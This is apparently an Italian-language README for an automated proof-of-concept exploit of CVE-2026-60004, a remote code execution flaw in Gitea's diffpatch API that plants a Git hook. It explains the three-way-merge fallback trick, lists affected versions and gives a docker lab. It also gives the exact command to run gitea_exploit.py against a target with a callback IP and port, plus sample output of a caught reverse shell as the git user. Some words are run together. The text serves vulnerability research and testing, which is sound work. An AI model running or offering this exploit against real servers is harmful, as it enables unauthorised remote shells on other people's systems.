
Exploit proof-of-concept automatizzato per CVE-2026-60004, un RCE tramite hook Git diffpatch di Gitea che installa un hook post-index-change per ottenere una reverse shell come account di servizio.
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 è una vulnerabilità di Remote Code Execution (RCE) in Gitea. L'API
diffpatchapplica una patch fornita congit apply --cached, che dovrebbe toccare solo l'indice e non scrivere mai file su disco. Inviando la stessa patch due volte, un attaccante forza una collisione add/add che attiva il fallback al three-way merge (-3) di Git. Quel percorso ignora--cacheded estrae il file nel working tree. Poiché il clone temporaneo è bare, la radice del suo working tree è$GIT_DIR. Una patch che crea un eseguibile piazza quindi un Git hook attivo, che Git esegue automaticamente al successivo aggiornamento dell'indice — eseguendo comandi come l'account di servizio Gitea. L'endpoint richiede accesso in scrittura al repository, ma la registrazione è abilitata di default, quindi qualsiasi utente che può registrarsi e creare un repository può raggiungerlo.
hooks/post-index-change| Categoria | Versione |
|---|---|
| Vulnerabile | Gitea 1.17 ≤ versione ≤ 1.27.0 |
| Corretta | Gitea 1.27.1 o successiva |
git)Compila ed esegui l'ambiente Gitea vulnerabile. La registrazione è lasciata aperta e il
server include Git 2.32+, che abilita il fallback -3 su cui si basa l'attacco.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Prerequisito | Stato in questo lab |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ sul server (abilita -3) | 2.54 |
| Registrazione aperta | abilitata (default) |
| Accesso in scrittura al repository | tramite account auto-registrato |
L'exploit è completamente automatizzato da gitea_exploit.py. Dato un account che può
creare un repository, esso crea il repo di destinazione, invia la stessa patch
ripetutamente finché non scatta il fallback -3 di Git, e cattura la reverse shell con un
listener integrato — nessuna configurazione manuale, creazione di patch o calcolo di blob-hash necessario.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Il fallback -3 scatta solo in determinate finestre temporali, quindi lo script ripete
create → send → send finché non riesce a catturarlo (default 25 tentativi). Quando un invio si blocca,
l'hook è scattato e il listener ti apre una shell come git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
Opzioni:
--no-listen — cattura la shell con il tuo nc esterno invece del listener integrato--user / --pw / --repo / --branch — sovrascrivi l'account predefinito e il repo di destinazioneDISABLE_REGISTRATION=true)